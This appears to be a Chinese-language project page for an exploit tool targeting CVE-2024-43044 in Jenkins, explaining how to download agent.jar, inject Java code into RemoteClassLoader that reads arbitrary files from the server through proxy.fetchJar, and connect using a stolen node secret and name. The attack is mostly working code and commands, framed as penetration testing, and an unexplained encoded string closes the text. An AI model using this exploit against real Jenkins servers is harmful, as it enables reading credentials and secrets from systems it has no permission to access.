Jenkins Agent 远程文件读取漏洞利用工具

4 阅读2分钟

Jenkins Agent 文件读取漏洞利用工具

本项目针对 CVE-2024-43044 漏洞提供完整的利用方案。通过修改 Jenkins Agent 中的 RemoteClassLoader.class 类,实现对 Jenkins 服务器端的任意文件读取,可用于安全测试与漏洞验证。

功能特性

  • 远程文件读取:利用修改后的 RemoteClassLoader 类,通过 proxy.fetchJar() 方法读取服务器任意文件
  • Agent 连接:支持通过 -url-secret-name 参数连接到目标 Jenkins 节点
  • 交互式输入:运行时动态输入要读取的文件路径,无需重新编译
  • UTF-8 编码支持:正确读取并显示 UTF-8 编码的文件内容

安装指南

依赖要求

  • Java 运行环境 (JRE) 1.8 及以上
  • Jenkins Agent JAR 包

安装步骤

  1. 下载 agent.jar
    通过浏览器访问以下 URL 下载 Jenkins Agent JAR 包:

    http://<jenkins-ip>:<port>/jnlpJars/agent.jar
    
  2. 修改 RemoteClassLoader 类
    找到 \hudson\remoting\RemoteClassLoader.class 文件,按照漏洞利用要求修改对应代码。

  3. 重新编译打包
    完成代码修改后,重新编译并打包 agent.jar。

使用说明

前置条件

  • 需要提前获取 Jenkins 节点的 密钥 (secret)名称 (name)
  • 确保能够通过网络访问目标 Jenkins 服务

基础用法

连接 Jenkins Agent 并执行文件读取:

java -jar agent.jar -url http://<jenkins-ip>:<port>/ -secret <node-secret> -name <node-name>

代码注入示例

在修改 RemoteClassLoader 类时,添加以下核心代码以实现文件读取功能:

import java.util.Scanner;

try {  
    Scanner scanner = new Scanner(System.in);  
    System.out.print("输入读取文件path:");  
    String inputText = scanner.nextLine();  
    System.out.println("尝试读取:" + inputText);  
    URL jarFileUrl = new URL("file:///" + inputText);  
    byte[] fileContent = this.proxy.fetchJar(jarFileUrl);  
    String contentAsString = new String(fileContent, StandardCharsets.UTF_8);  
    System.out.println("文件内容:\n" + contentAsString);  
} catch (Exception var10) {  
    System.out.println("WRONG:" + var10);  
}

典型使用场景

  1. 渗透测试:验证目标 Jenkins 服务是否存在 CVE-2024-43044 漏洞
  2. 安全审计:检测敏感文件访问权限是否配置正确
  3. 漏洞复现:安全研究人员分析漏洞原理与影响范围

核心代码

RemoteClassLoader 文件读取逻辑

以下是注入到 RemoteClassLoader.class 中的完整核心代码:

// 导入必要的类
import java.util.Scanner;
import java.net.URL;
import java.nio.charset.StandardCharsets;

// 在适当位置添加以下代码块
try {  
    // 创建扫描器接收用户输入
    Scanner scanner = new Scanner(System.in);  
    System.out.print("输入读取文件path:");  
    String inputText = scanner.nextLine();  
    System.out.println("尝试读取:" + inputText);  
    
    // 构建 file:// 协议的 URL
    URL jarFileUrl = new URL("file:///" + inputText);  
    
    // 通过 proxy 调用 fetchJar 方法读取文件
    byte[] fileContent = this.proxy.fetchJar(jarFileUrl);  
    
    // 将字节数组转换为 UTF-8 字符串
    String contentAsString = new String(fileContent, StandardCharsets.UTF_8);  
    System.out.println("文件内容:\n" + contentAsString);  
} catch (Exception var10) {  
    // 异常处理
    System.out.println("WRONG:" + var10);  
}

Agent 连接核心参数

# 完整连接命令
java -jar agent.jar -url http://target-ip:8080/ -secret 9f8e7d6c5b4a3210 -name my-agent-node

6HFtX5dABrKlqXeO5PUv/3cT22hh1fvsCNJmHktPn8Q8ZnqZSF8fjXcA7iCS3+se